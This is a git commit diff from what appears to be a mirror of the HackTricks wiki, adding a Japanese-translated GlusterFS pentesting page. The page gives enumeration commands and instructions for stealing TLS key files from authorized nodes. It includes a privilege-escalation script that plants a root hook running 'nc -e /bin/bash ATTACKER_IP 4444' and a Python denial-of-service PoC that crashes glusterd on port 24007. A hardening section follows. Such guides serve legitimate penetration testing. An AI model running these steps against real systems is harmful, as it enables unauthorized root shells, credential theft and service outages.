mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen
This commit is contained in:
parent
376cba3c93
commit
dd090ef254
@ -1,35 +1,115 @@
|
||||
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# 基本情報
|
||||
## 基本情報
|
||||
|
||||
**GlusterFS**は、複数のサーバーからのストレージを1つの**統合システム**に結合する**分散ファイルシステム**です。これは**任意のスケーラビリティ**を可能にし、全体のファイルシステムを中断することなくストレージサーバーを簡単に追加または削除できます。これにより、データの高い**可用性**と**フォールトトレランス**が保証されます。GlusterFSを使用すると、基盤となるサーバーインフラストラクチャに関係なく、ファイルがローカルに保存されているかのようにアクセスできます。これは、複数のサーバーにわたって大量のデータを管理するための強力で柔軟なソリューションを提供します。
|
||||
|
||||
**デフォルトポート**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (以降)\
|
||||
ポート49152の場合、ポートは1ずつ増加する必要があり、より多くのブリックを使用するために開いている必要があります。_以前はポート24009が49152の代わりに使用されていました。_
|
||||
**GlusterFS**は、複数のサーバーからのストレージを1つの**統一された名前空間**に統合する**分散ファイルシステム**です。管理デーモン(`glusterd`)はデフォルトで**24007/TCP**でリッスンし、**49152/TCP**から始まるデータプレーンブリックに指示を出します(ブリックごとに1つのポート、増加します)。9.x以前のバージョンでは、ブリックトランスポートに**24008–24009/TCP**を使用していたため、レガシークラスターではこれらのポートにまだ遭遇することがあります。
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
PORT STATE SERVICE VERSION
|
||||
24007/tcp open glusterd GlusterFS (RPC)
|
||||
49152/tcp open gluster-brick SSL (TLS optional)
|
||||
```
|
||||
## 列挙
|
||||
> Tip: 24007は、ストレージ専用ノードが**ボリューム**をエクスポートしていない場合でもRPC呼び出しに応答します。したがって、このサービスは大規模なインフラストラクチャ内で信頼できるピボットターゲットです。
|
||||
|
||||
このファイルシステムと対話するには、[**GlusterFSクライアント**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/)をインストールする必要があります(`sudo apt-get install glusterfs-cli`)。
|
||||
## Enumeration
|
||||
|
||||
利用可能なボリュームをリストしてマウントするには、次のコマンドを使用できます:
|
||||
攻撃用ボックスにクライアントユーティリティをインストールします:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||||
```
|
||||
ファイルシステムをマウントしようとしたときに**エラーが発生した場合**、`/var/log/glusterfs/`のログを確認できます。
|
||||
1. **ピア発見とヘルス**
|
||||
```bash
|
||||
# List peers (works without authentication in default setups)
|
||||
gluster --remote-host 10.10.11.131 peer status
|
||||
```
|
||||
2. **ボリュームの偵察**
|
||||
```bash
|
||||
# Retrieve the list of all volumes and their configuration
|
||||
gluster --remote-host 10.10.11.131 volume info all
|
||||
```
|
||||
3. **特権なしでマウント**
|
||||
```bash
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||||
```
|
||||
マウントが失敗した場合は、クライアント側の `/var/log/glusterfs/<vol_name>-<uid>.log` を確認してください。一般的な問題は次のとおりです:
|
||||
|
||||
**証明書に関するエラー**は、システムにアクセスできる場合、ファイルを盗むことで修正できます:
|
||||
* TLS 強制 (`option transport.socket.ssl on`)
|
||||
* アドレスベースのアクセス制御 (`option auth.allow <cidr>`)
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
### 証明書のトラブルシューティング
|
||||
|
||||
これらをあなたのマシンの`/etc/ssl`または`/usr/lib/ssl`ディレクトリに保存します(異なるディレクトリが使用されている場合は、ログに「_could not load our cert at /usr/lib/ssl/glusterfs.pem_」に似た行を確認してください)。
|
||||
認可されたクライアントノードから以下のファイルを盗み、 `/etc/ssl/` (またはエラーログに表示されているディレクトリ)に配置します:
|
||||
```
|
||||
/etc/ssl/glusterfs.pem
|
||||
/etc/ssl/glusterfs.key
|
||||
/etc/ssl/glusterfs.ca
|
||||
```
|
||||
---
|
||||
|
||||
## 既知の脆弱性 (2022-2025)
|
||||
|
||||
| CVE | 影響を受けるバージョン | 影響 | ノート |
|
||||
|-----|-------------------|--------|-------|
|
||||
| **CVE-2022-48340** | 10.0–10.4, 11.0 | `dht_setxattr_mds_cbk` における使用後解放がネットワーク経由で到達可能 | リモート **DoS** およびおそらく RCE。10.4.1 / 11.1 で修正済み。 |
|
||||
| **CVE-2023-26253** | < 11.0 | FUSE 通知ハンドラーにおけるバッファオーバーラン読み取り | 作成された FS 操作によるリモートクラッシュ; 公開 PoC あり。 |
|
||||
| **CVE-2023-3775** | < 10.5 / 11.1 | `gluster_shared_storage` をマウントする際の不正な権限検証 | 認証されていないクライアントが管理ボリュームをマウントできる – 以下に説明する **priv-esc** につながる。 |
|
||||
|
||||
> 常に `gluster --version` を **すべてのノード** で確認してください; 部分的なアップグレード後は異種クラスターが一般的です。
|
||||
|
||||
### `gluster_shared_storage` の悪用 (特権昇格)
|
||||
|
||||
最近のバージョンでも、多くの管理者は地理的レプリケーションを簡素化するために特別な `gluster_shared_storage` ボリュームを世界読み取り可能にしています。このボリュームには、すべてのノードで **root** として実行される cronjob テンプレートが含まれています。
|
||||
```bash
|
||||
# 1. Mount admin volume anonymously
|
||||
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||||
|
||||
# 2. Drop malicious script that gets synchronised cluster-wide
|
||||
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||||
#!/bin/bash
|
||||
nc -e /bin/bash ATTACKER_IP 4444 &
|
||||
EOF
|
||||
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||||
|
||||
# 3. Wait until glusterd distributes the hook and executes it as root
|
||||
```
|
||||
`hooks/1/` が存在しない場合は、`/ss_bricks/` を探してください - 正確なパスはメジャーバージョンによって異なる場合があります。
|
||||
|
||||
### サービス拒否 PoC (CVE-2023-26253)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||||
import socket, xdrlib, struct
|
||||
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||||
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||||
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||||
s.send(p.get_buffer())
|
||||
```
|
||||
`glusterfsd` < 11.0を実行するとクラッシュします。
|
||||
|
||||
---
|
||||
|
||||
## ハードニングと検出
|
||||
|
||||
* **アップグレード** – 現在のLTSは11.1(2025年7月)です。上記のすべてのCVEは修正されています。
|
||||
* すべてのブリックに対して**TLS**を有効にします:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> transport.socket.ssl on
|
||||
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||||
```
|
||||
* CIDRリストでクライアントを制限します:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||||
```
|
||||
* 管理ポート24007を**プライベートVLAN**またはSSHトンネルを通じてのみ公開します。
|
||||
* ログを監視します:`tail -f /var/log/glusterfs/glusterd.log` および**audit-log**機能を構成します(`volume set <vol> features.audit-log on`)。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [GlusterFSセキュリティアドバイザリー](https://docs.gluster.org/en/latest/release-notes/#security)
|
||||
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user